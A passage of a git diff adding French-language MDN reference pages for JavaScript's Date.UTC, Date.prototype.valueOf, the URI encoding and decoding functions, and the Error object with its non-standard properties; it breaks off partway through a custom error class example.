La méthode Date.UTC() accepte des paramètres similaires à ceux du constructeur {{jsxref("Date")}} et renvoie le nombre de millièmes de seconde depuis le 1er janvier 1970, 00:00:00, temps universel. Autrement dit, elle renvoie la date en UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-utc.html")}}
+ + + +

Syntaxe

+ +
Date.UTC(année[,mois[,jour[,heures[,minutes[,secondes[,ms]]]]]])
+ +

Paramètres

+ +
+
année
+
Une année sur deux chiffres pour une année après 1900 (ex. 98 pour 1998) ou bien une année sur quatre chiffres (2018).
+
mois{{optional_inline}}
+
+

Un entier entre 0 (janvier) et 11 (décembre) représentant le mois.

+ +

Note : Cet argument est optionnel depuis ECMAScript 2017.

+
+
jour{{optional_inline}}
+
Un entier entre 1 et 31 représentant le jour du mois. La valeur par défaut vaut 1.
+
heures{{optional_inline}}
+
Paramètre optionnel, un entier entre 0 et 23 représentant les heures. La valeur par défaut vaut 0.
+
minutes{{optional_inline}}
+
Paramètre optionnel, un entier entre 0 et 59 représentant les minutes. La valeur par défaut vaut 0.
+
secondes{{optional_inline}}
+
Paramètre optionnel, un entier entre 0 et 59 représentant les secondes. La valeur par défaut vaut 0.
+
ms{{optional_inline}}
+
Paramètre optionnel, un entier entre 0 et 999 représentant les millièmes de seconde. La valeur par défaut vaut 0.
+
+ +

Valeur de retour

+ +

Un nombre représentant le nombre de millisecondes écoulées entre la date indiquée et le premier janvier 1970 à minuit UTC.

+ +

Description

+ +

La méthode UTC prend des paramètres de date et d'heure séparés par des virgules et renvoie le nombre de millièmes de seconde entre le 1er janvier 1970, 00:00:00, temps universel et la date et l'heure spécifiées.

+ +

Il faut spécifier l'année entière pour le premier paramètre ; par exemple 1998. Si l'année spécifiée est entre 0 et 99, la méthode la convertira en une année du XXe siècle (1900 + année) ; par exemple si vous indiquez 95, l'année 1995 sera utilisée.

+ +

La méthode UTC diffère du constructeur {{jsxref("Date")}} pour deux raisons :

+ +
    +
  • Date.UTC utilise le temps universel plutôt que l'heure locale.
    • +
  • Date.UTC renvoie une valeur temporelle sous la forme d'un nombre plutôt que de créer un objet Date.
    • +
+ +

Si un paramètre spécifié est en dehors des limites attendues, la méthode UTC met à jour les autres paramètres pour s'adapter à ce nombre. Par exemple, si vous utilisez 15 pour le mois, l'année sera incrémentée d'une unité (année + 1), et la valeur 3 (avril) sera utilisée pour le mois.

+ +

Comme UTC est une méthode statique de Date, on l'utilise toujours sous la forme Date.UTC() plutôt que comme une méthode d'un objet Date que vous auriez créé.

+ +

Exemples

+ +

Utiliser Date.UTC()

+ +

L'instruction qui suit crée un objet Date en utilisant l'heure UTC plutôt que l'heure locale :

+ +
var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0));
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-date.utc', 'Date.UTC')}}{{Spec2('ESDraft')}}Le paramètre pour le mois est devenu optionnel avec ES2017.
{{SpecName('ES6', '#sec-date.utc', 'Date.UTC')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-15.9.4.3', 'Date.UTC')}}{{Spec2('ES5.1')}}
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.UTC")}}

+ +

Notes de compatibilité

+ +

Utiliser Date.UTC avec moins de deux arguments

+ +

Lorsqu'on fournit moins de deux arguments à Date.UTC, {{jsxref("NaN")}} sera renvoyé. Ce comportement a été spécifié dans ECMAScript 2017 et les moteurs qui n'obéissaient pas à cette règle on été mis à jour (cf. {{bug(1050755)}}, ecma-262 #642).

+ +
Date.UTC();
+Date.UTC(1);
+
+// Safari: NaN
+// Chrome/Opera/V8: NaN
+
+// Firefox <54: non-NaN
+// Firefox 54+: NaN
+
+// IE: non-NaN
+// Edge: NaN
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.parse()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/valueof/index.html b/files/fr/web/javascript/reference/global_objects/date/valueof/index.html new file mode 100644 index 0000000000..680f34b4a1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/valueof/index.html @@ -0,0 +1,87 @@ +--- +title: Date.prototype.valueOf() +slug: Web/JavaScript/Reference/Objets_globaux/Date/valueOF +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/valueOf +--- +
{{JSRef}}
+ +

La méthode valueOf() renvoie la valeur primitive d'un objet {{jsxref("Date")}}.

+ +
{{EmbedInteractiveExample("pages/js/date-valueof.html")}}
+ + + +

Syntaxe

+ +
date.valueOf()
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970, minuit UTC et la date indiquée.

+ +

Description

+ +

La méthode valueOf() renvoie la valeur primitive d'un objet Date sous forme d'un nombre. Ce nombre correspond au nombre de millisecondes écoulées depuis le 1 janvier 1970 00h00 GMT.

+ +

D'un point de vue fonctionnel, cette méthode est équivalente à {{jsxref("Date.prototype.getTime()")}}.

+ +

Cette méthode est souvent appelée en interne par le moteur JavaScript et n'est pas utilisée de façon explicite dans des scripts.

+ +

Exemples

+ +

Utiliser valueOf()

+ +
var x = new Date(56, 6, 17);
+var maVar = x.valueOf();      // maVar vaut -424713600000
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.9.5.8', 'Date.prototype.valueOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.valueOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.valueOf()")}}
    • +
  • {{jsxref("Date.prototype.getTime()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/decodeuri/index.html b/files/fr/web/javascript/reference/global_objects/decodeuri/index.html new file mode 100644 index 0000000000..a2ef94c1fe --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/decodeuri/index.html @@ -0,0 +1,103 @@ +--- +title: decodeURI() +slug: Web/JavaScript/Reference/Objets_globaux/decodeURI +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI +--- +
{{jsSidebar("Objects")}}
+ +

La méthode decodeURI() permet de décoder un Uniform Resource Identifier (URI) créé par la méthode {{jsxref("encodeURI","encodeURI()")}} ou une méthode similaire.

+ +
{{EmbedInteractiveExample("pages/js/globalprops-decodeuri.html")}}
+ + + +

Syntaxe

+ +
decodeURI(encodedURI)
+ +

Paramètres

+ +
+
encodedURI
+
Un URI complet, encodé.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères dont certains caractères ont été décodés à partir de l'URI encodée passée en argument.

+ +

Exceptions

+ +

Cette méthode lève une exception {{jsxref("URIError")}} ("malformed URI sequence") lorsque la chaîne passée en argument contient des séquences de caractères invalides.

+ +

Description

+ +

Cette méthode remplace chaque séquence d'échappement présente dans l'URI encodée avec le caractère correspondant. Les séquences d'échappement qui n'auraient pas pu être introduites par {{jsxref("encodeURI", "encodeURI()")}} ne seront pas décodées. Le caractère « # » n'est pas décodé au sein des séquences d'échappement.

+ +

Exemples

+ +

Décoder une URL cyrillique

+ +
decodeURI("https://developer.mozilla.org/ru/docs/JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
+// "https://developer.mozilla.org/ru/docs/JavaScript_шеллы"
+
+ +

Gérer les exceptions

+ +
try {
+  var a = decodeURI('%E0%A4%A');
+} catch(e) {
+  console.error(e);
+}
+
+// Cela produira "URIError: malformed URI sequence"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.3.1', 'decodeURI')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-decodeuri-encodeduri', 'decodeURI')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-decodeuri-encodeduri', 'decodeURI')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.decodeURI")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("decodeURIComponent","decodeURIComponent()")}}
    • +
  • {{jsxref("encodeURI","encodeURI()")}}
    • +
  • {{jsxref("encodeURIComponent","encodeURIComponent()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/fr/web/javascript/reference/global_objects/decodeuricomponent/index.html new file mode 100644 index 0000000000..c659ad8573 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/decodeuricomponent/index.html @@ -0,0 +1,92 @@ +--- +title: decodeURIComponent() +slug: Web/JavaScript/Reference/Objets_globaux/decodeURIComponent +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent +--- +
{{jsSidebar("Objects")}}
+ +

La fonction decodeURIComponent() permet de décoder un composant d'un Uniform Resource Identifier (URI) précédemment créé par {{jsxref("encodeURIComponent")}} ou par une méthode similaire.

+ +
{{EmbedInteractiveExample("pages/js/globalprops-decodeuricomponent.html")}}
+ + + +

Syntaxe

+ +
decodeURIComponent(encodedURI)
+ +

Paramètres

+ +
+
encodedURI
+
Un composant d'URI qui est encodé.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères qui représente la version décodée du composant d'URI encodé passé en argument.

+ +

Exceptions levées

+ +

Cette méthode lève une exception {{jsxref("URIError")}} ("malformed URI sequence") lorsqu'elle est utilisée de façon incorrecte.

+ +

Description

+ +

Cette méthode remplace chaque séquence d'échappement du composant d'URI encodé par le caractère que la séquence représente.

+ +

Exemples

+ +

Décoder un composant d'URL encodé

+ +
decodeURIComponent("JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
+// "JavaScript_шеллы"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.3.2', 'decodeURIComponent')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.decodeURIComponent")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("decodeURI")}}
    • +
  • {{jsxref("encodeURI")}}
    • +
  • {{jsxref("encodeURIComponent")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/encodeuri/index.html b/files/fr/web/javascript/reference/global_objects/encodeuri/index.html new file mode 100644 index 0000000000..65bd21d5ef --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/encodeuri/index.html @@ -0,0 +1,124 @@ +--- +title: encodeURI() +slug: Web/JavaScript/Reference/Objets_globaux/encodeURI +tags: + - JavaScript + - Reference + - URI +translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI +--- +
{{jsSidebar("Objects")}}
+ +

La fonction encodeURI() encode un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par une, deux, trois ou quatre séquences d'échappement représentant le caractère encodé en UTF-8 (les quatre séquences d'échappement ne seront utilisées que si le caractère est composé de deux caractères « surrogate »).

+ +
{{EmbedInteractiveExample("pages/js/globalprops-encodeuri.html")}}
+ + + +

Syntaxe

+ +
encodeURI(URI)
+ +

Paramètres

+ +
+
URI
+
Un Uniform Resource Identifier complet.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères représentant un URI, encodé, à partir de la chaîne de caractères passée en argument.

+ +

Description

+ +

encodeURI() échappe tous les caractères sauf ceux-ci :

+ +
A-Z a-z 0-9 ; , / ? : @ & = + $ - _ . ! ~ * ' ( ) #
+
+ +

encodeURI() est différente de {{jsxref("encodeURIComponent")}}. Par exemple :

+ +
var set1 = ";,/?:@&=+$#";  // Caractères réservés
+var set2 = "-_.!~*'()";   // Caractères non-réservés
+var set3 = "ABC abc 123"; // Caractères alphanumériques et espace
+
+console.log(encodeURI(set1)); // ;,/?:@&=+$#
+console.log(encodeURI(set2)); // -_.!~*'()
+console.log(encodeURI(set3)); // ABC%20abc%20123 (l'espace est encodé en %20)
+
+console.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24%23
+console.log(encodeURIComponent(set2)); // -_.!~*'()
+console.log(encodeURIComponent(set3)); // ABC%20abc%20123 (l'espace est encodé en %20)
+
+
+ +

Une exception {{jsxref("URIError")}} sera levée si on tente d'encoder un caractère surrogate (demi-codet) qui ne fait pas partie d'une paire :

+ +
// On a une paire de codets surrogate
+console.log(encodeURI('\uD800\uDFFF'));
+
+// Ici, seul le caractère "haut"
+// ce qui déclenche une "URIError: malformed URI sequence"
+console.log(encodeURI('\uD800'));
+
+// Ici, seul le caractère "bas"
+// ce qui déclenche une "URIError: malformed URI sequence"
+console.log(encodeURI('\uDFFF'));
+
+ +

encodeURI() ne permet pas de former des requêtes HTTP GET ou POST (par exemple avec {{domxref("XMLHTTPRequest")}}) car "&", "+" et "=" ne sont pas encodés et sont traités comme des caractères spéciaux (toutefois, la méthode. {{jsxref("encodeURIComponent")}} pourra être utilisée pour encoder ces caractères).

+ +

Si on souhaite suivre la RFC3986 qui concerne les URL et qui rend les crochets réservés (pour IPv6) (il ne faut donc plus encoder ces caractères lorsqu'ils font partie d'une URL (notamment pour la partie représentant l'hôte), on pourra utiliser le fragment de code suivant :

+ +
function fixedEncodeURI(str) {
+  return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-encodeuri-uri', 'encodeURI')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-encodeuri-uri', 'encodeURI')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-15.1.3.3', 'encodeURI')}}{{Spec2('ES5.1')}}
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.encodeURI")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("decodeURI", "decodeURI()")}}
    • +
  • {{jsxref("encodeURIComponent", "encodeURIComponent()")}}
    • +
  • {{jsxref("decodeURIComponent", "decodeURIComponent()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/fr/web/javascript/reference/global_objects/encodeuricomponent/index.html new file mode 100644 index 0000000000..054b5492b9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/encodeuricomponent/index.html @@ -0,0 +1,163 @@ +--- +title: encodeURIComponent() +slug: Web/JavaScript/Reference/Objets_globaux/encodeURIComponent +tags: + - JavaScript + - Reference + - URI +translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent +--- +
{{jsSidebar("Objects")}}
+ +

La fonction encodeURIComponent() permet d'encoder un composant d'un Uniform Resource Identifier (URI) en remplaçant chaque exemplaire de certains caractères par une, deux, trois ou quatres séquences d'échappement UTF-8 correspondantes (quatre séquences seront utilisées uniquement lorsque les caractères à encoder sont composés de deux caractères « surrogate »).

+ +
{{EmbedInteractiveExample("pages/js/globalprops-encodeuricomponent.html")}}
+ + + +

Syntaxe

+ +
encodeURIComponent(str);
+ +

Paramètres

+ +
+
str
+
Une chaîne de caractères qui correspond à un composant d'URI.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères qui représente un composant d'URI obtenu en encodant la chaîne passée en argument.

+ +

Description

+ +

encodeURIComponent() échappe tous les caractères sauf : les lettres de l'alphabet latin, les chiffres (arabes) et - _ . ! ~ * ' ( )

+ +

La méthode encodeURIComponent() diffère de la méthode encodeURI() par rapport aux caractères qui sont encodés :

+ +
var set1 = ";,/?:@&=+$";  // Caractères réservés
+var set2 = "-_.!~*'()";   // Caractères non-réservés
+var set3 = "#";           // Croisillon
+var set4 = "ABC abc 123"; // Caractères alphanumériques et espace
+
+console.log(encodeURI(set1)); // ;,/?:@&=+$
+console.log(encodeURI(set2)); // -_.!~*'()
+console.log(encodeURI(set3)); // #
+console.log(encodeURI(set4)); // ABC%20abc%20123 (l'espace est encodé en %20)
+
+console.log(encodeURIComponent(set1)); // %3B%2C%2F%3F%3A%40%26%3D%2B%24
+console.log(encodeURIComponent(set2)); // -_.!~*'()
+console.log(encodeURIComponent(set3)); // #
+console.log(encodeURIComponent(set4)); // ABC%20abc%20123 (l'espace est encodé en %20)
+
+
+ +

Une exception {{jsxref("URIError")}} sera levée lorsqu'on utilise cette fonction sur un unique demi-codet qui est censé faire partie d'une paire de demi-codets :

+ +
// la paire de demi-codets : OK
+console.log(encodeURIComponent('\uD800\uDFFF'));
+
+// seul le demi-codet supérieur : "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uD800'));
+
+// seul le demi-codet inférieur : "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uDFFF'));
+
+ +

Afin d'éviter des requêtes inattendues vers le serveur, il est conseillé d'utiliser la fonction encodeURIComponent() pour n'importe quel paramètre qui aurait été saisi par l'utilisateur et qui ferait partie d'un URI. Ainsi, si un utilisateur peut saisir "Thym &access=admin" dans une variable commentaire et qu'on n'utilise pas encodeURIComponent(), on obtiendra la chaîne commentaire=Thym%20&access=admin. On voit ici que l'esperluette (&) et le signe égal forment une nouvelle paire clé/valeur. Au lieu d'avoir une clé POST commentaire égale à "Thym &access=admin", on aura deux clés POST, l'une égale à "Thym " et une seconde (access) égale à admin.

+ +

Pour application/x-www-form-urlencoded, les espaces sont remplacés par un '+', aussi, dans ce cas, on pourra ajouter un remplacement supplémentaire après encodeURIComponent() pour remplacer "%20" par "+".

+ +

Pour utiliser une fonction qui respecte la RFC 3986, plus stricte (qui réserve les caractères !, ', (, ), et * même si ces caractères n'ont pas d'usage normalisé), on pourra utiliser la fonction suivante :

+ +
function fixedEncodeURIComponent (str) {
+  return encodeURIComponent(str).replace(/[!'()*]/g, function(c) {
+    return '%' + c.charCodeAt(0).toString(16);
+  });
+}
+
+ +

Exemples

+ +

Dans l'exemple qui suit, on utilise une méthode spéciale pour l'encodage afin d'utiliser les paramètres d'en-tête de réponse Content-Disposition et Link (pour, par exemple, représenter des noms de fichiers en UTF-8) :

+ +
var nomFichier = 'mon fichier(2).txt';
+var header = "Content-Disposition: attachment; filename*=UTF-8''"
+             + encodeRFC5987ValueChars(nomFichier);
+
+console.log(header);
+// affiche "Content-Disposition: attachment; filename*=UTF-8''mon%20fichier%282%29.txt"
+
+
+function encodeRFC5987ValueChars (str) {
+    return encodeURIComponent(str).
+        // Bien que la RFC 3986 réserve "!", RFC 5987 ne réserve pas ce caractère,
+        // il n'est donc pas nécessaire l'échapper
+        replace(/['()]/g, escape). // c'est-à-dire %27 %28 %29
+        replace(/\*/g, '%2A').
+            // Selon la RFC 5987 ce qui suit n'est pas nécessairement requis
+            // on peut donc bénéficier d'un peu plus de lisibilité : |`^
+            replace(/%(?:7C|60|5E)/g, unescape);
+}
+
+// Voici une autre version équivalente
+function encodeRFC5987ValueChars2(str) {
+  return encodeURIComponent(str).
+    // Bien que la RFC 3986 réserve "!", RFC 5987 ne réserve pas ce caractère,
+    // il n'est donc pas nécessaire l'échapper
+    replace(/['()*]/g, c => '%' + c.charCodeAt(0).toString(16)). // i.e., %27 %28 %29 %2a
+    // on notera que l'encodage valide pour "*" est %2A et qui faut donc appeler toUpperCase()
+    // pour encoder exactement.
+
+    // Selon la RFC 5987 ce qui suit n'est pas nécessairement requis
+    // on peut donc bénéficier d'un peu plus de lisibilité : |`^
+    replace(/%(7C|60|5E)/g, (str, hex) => String.fromCharCode(parseInt(hex, 16)));
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.3.4', 'encodeURIComponent')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.encodeURIComponent")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("decodeURI")}}
    • +
  • {{jsxref("encodeURI")}}
    • +
  • {{jsxref("decodeURIComponent")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/error/columnnumber/index.html b/files/fr/web/javascript/reference/global_objects/error/columnnumber/index.html new file mode 100644 index 0000000000..813eb382a9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/error/columnnumber/index.html @@ -0,0 +1,43 @@ +--- +title: Error.prototype.columnNumber +slug: Web/JavaScript/Reference/Objets_globaux/Error/columnNumber +tags: + - Error + - JavaScript + - Non-standard + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Error/columnNumber +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété columnNumber contient le numéro de la colonne, dans la ligne du fichier qui a déclenché l'erreur.

+ +

Exemples

+ +

Utiliser de columnNumber

+ +
var e = new Error("Ne peut pas lire la donnée");
+throw e;
+console.log(e.columnNumber) // 0
+
+ +

Spécifications

+ +

Ne fait partie d'aucune spécification. Non standard.

+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Error.columnNumber")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype.stack")}} {{non-standard_inline}}
    • +
  • {{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}
    • +
  • {{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/error/filename/index.html b/files/fr/web/javascript/reference/global_objects/error/filename/index.html new file mode 100644 index 0000000000..fb52011488 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/error/filename/index.html @@ -0,0 +1,48 @@ +--- +title: Error.prototype.fileName +slug: Web/JavaScript/Reference/Objets_globaux/Error/fileName +tags: + - Error + - JavaScript + - Non-standard + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Error/fileName +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété fileName contient le chemin vers le fichier qui a déclenché l'erreur.

+ +

Description

+ +

Cette propriété non-standard contient le chemin vers le fichier qui a déclenché cette erreur. Si elle est appelée depuis un débugger (les outils de développement de Firefox par exemple), "debugger eval code" sera renvoyé.

+ +

Exemples

+ +

Utiliser fileName

+ +
var e = new Error("Ne peut pas lire la donnée");
+throw e;
+// e.fileName peut ressembler à "file:///C:/exemple.html"
+
+ +

Spécifications

+ +

Ne fait partie d'aucune spécification. Non standard.

+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Error.fileName")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype.stack")}} {{non-standard_inline}}
    • +
  • {{jsxref("Error.prototype.columnNumber")}} {{non-standard_inline}}
    • +
  • {{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/error/index.html b/files/fr/web/javascript/reference/global_objects/error/index.html new file mode 100644 index 0000000000..e267e237f4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/error/index.html @@ -0,0 +1,249 @@ +--- +title: Error +slug: Web/JavaScript/Reference/Objets_globaux/Error +tags: + - Error + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Error +--- +
{{JSRef}}
+ +

Le constructeur Error crée un objet d'erreur. Des instances d'objets Error sont déclenchées lorsque des erreurs d'exécution surviennent. L'objet Error peut aussi être utilisé comme objet de base pour des exceptions définies par l'utilisateur. Voir ci-dessous pour les types d'erreur natifs standard.

+ +

Syntaxe

+ +
new Error([message[, fileName[, lineNumber]]])
+ +

Paramètres

+ +
+
message {{optional_inline}}
+
Description de l'erreur sous une forme lisible par un humain.
+
fileName {{optional_inline}}{{Non-standard_inline}}
+
Argument qui sera utilisé pour la valeur de la propriété fileName dans l'objet Error créé. Par défaut, ce sera le nom du fichier contenant le code qui a appelé le constructeur Error().
+
lineNumber {{optional_inline}}{{Non-standard_inline}}
+
Argument qui sera utilisé pour la valeur de la propriété lineNumber dans l'objet Error créé. Par défaut, ce sera le numéro de la ligne contenant l'invocation du constructeur Error().
+
+ +

Description

+ +

Les erreurs d'exécution ont pour résultat la création et le déclenchement d'objets Error.

+ +

Cette page documente l'utilisation de l'objet Error lui-même et son utilisation comme fonction constructeur. Pour une liste des propriétés et des méthodes héritées par les instances d'Error,  voir {{jsxref("Error.prototype")}}.

+ +

Utilisation de Error comme fonction

+ +

Lorsqu'Error est utilisée comme fonction sans utiliser l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}, cet appel renverra un objet Error. Aussi, un simple appel à Error produira le même résultat qu'une invocation avec new.

+ +
// Cette instruction :
+const x = Error("J'ai été créée sans new");
+
+// Aura le même effet que
+const y = new Error("J'ai été créée avec new");
+ +

Types d'erreur

+ +

En plus du constructeur Error générique, il existe sept autres constructeurs d'erreur de base en JavaScript. Pour les exceptions côté client, voir Contrôle du flux d'instructions et gestion des erreurs.

+ +
+
{{jsxref("EvalError")}}
+
Crée une instance représentant une erreur se produisant en relation avec la fonction globale {{jsxref("eval","eval()")}}.
+
{{jsxref("RangeError")}}
+
Crée une instance représentant une erreur se produisant quand une variable numérique ou un paramètre est en dehors de sa plage de validité.
+
{{jsxref("ReferenceError")}}
+
Crée une instance représentant une erreur se produisant lors du déréférencement d'une référence invalide.
+
{{jsxref("SyntaxError")}}
+
Crée une instance représentant une erreur de syntaxe se produisant lors d'une analyse de code dans {{jsxref("eval", "eval()")}}.
+
{{jsxref("TypeError")}}
+
Crée une instance représentant une erreur se produisant quand une variable ou un paramètre n'est pas d'un type valide.
+
{{jsxref("URIError")}}
+
Crée une instance représentant une erreur se produisant quand des paramètres invalides sont passés à {{jsxref("encodeURI", "encodeURI()")}} ou à {{jsxref("decodeURI", "decodeURI()")}}.
+
{{JSxRef("AggregateError")}}
+
Crée une instance représentant différentes erreurs agrégées en une seule lorsque plusieurs erreurs sont rapportées par une opération, par exemple avec {{JSxRef("Promise.any()")}}.
+
{{jsxref("InternalError")}} {{non-standard_inline}}
+
Crée une instance représentant une erreur se produisant quand une erreur interne dans le moteur JavaScript est déclenchée. Par ex., "too much recursion".
+
+ +

Propriétés

+ +
+
{{jsxref("Error.prototype")}}
+
Permet l'ajout de propriétés aux instances Error.
+
+ +

Méthodes

+ +

L'objet global Error ne contient pas de méthodes en propre, toutefois, il hérite de certaines méthodes via la chaine de prototype.

+ +

Instances d'Error

+ +
{{page('fr/docs/JavaScript/Reference/Objets_globaux/Error/prototype', 'Description')}}
+ +

Propriétés

+ +

{{page('fr/docs/JavaScript/Reference/Objets_globaux/Error/prototype', 'Propriétés')}}

+ +

Méthodes

+ +

{{page('fr/docs/JavaScript/Reference/Objets_globaux/Error/prototype', 'Méthodes')}}

+ +

Exemples

+ +

Déclenchement d'une erreur générique

+ +

Vous créez habituellement un objet Error dans l'intention de le déclencher en utilisant le mot-clé {{jsxref("Instructions/throw", "throw")}}. Vous pouvez gérer l'erreur en utilisant la construction {{jsxref("Instructions/try...catch", "try...catch")}} :

+ +
try {
+    throw new Error("Ouups !");
+} catch (e) {
+    console.log(e.name + ": " + e.message);
+}
+
+ +

Gestion d'une erreur spécifique

+ +

Vous pouvez choisir de ne gérer que des types d'erreur particuliers en testant le type de l'erreur via la propriété {{jsxref("Object.prototype.constructor", "constructor")}} de l'erreur ou, si vous écrivez pour des interpréteurs JavaScript modernes, le mot-clé {{jsxref("Opérateurs/instanceof", "instanceof")}} :

+ +
try {
+    machin.truc();
+} catch (e) {
+    if (e instanceof EvalError) {
+        console.log(e.name + ": " + e.message);
+    } else if (e instanceof RangeError) {
+        console.log(e.name + ": " + e.message);
+    }
+    // ... etc
+}
+
+ +

Types d'erreur personnalisés

+ +

Vous pouvez vouloir définir vos propres types d'erreur dérivants d'Error pour pouvoir écrire throw new MonErreur() et utiliser instanceof MonErreur afin de vérifier le type d'erreur dans le gestionnaire d'exceptions. Cela a pour résultat un code de gestion d'erreur plus propre et plus cohérent. Voir What's a good way to extend Error in JavaScript? sur StackOverflow pour une discussion en profondeur.

+ +

Classes d'erreur personnalisées avec ECMAScript 2015 / ES6

+ +
+

Attention ! Babel, dans les versions antérieures à Babel 7, ainsi que d'autres transpileurs ne géreront pas correctement le code suivant sans configuration supplémentaire. Les versions de Babel antérieures à la version 7 peuvent uniquement gérer les classes d'erreur personnalisées lorsque celles-ci sont créées avec Object.defineProperty().

+
+ +
+

Note : Certains navigateurs incluent le constructeur CustomError (Erreur Personnalisée) dans la pile d'appels lors de l'utilisation de classes ES6.

+
+ +
class CustomError extends Error {
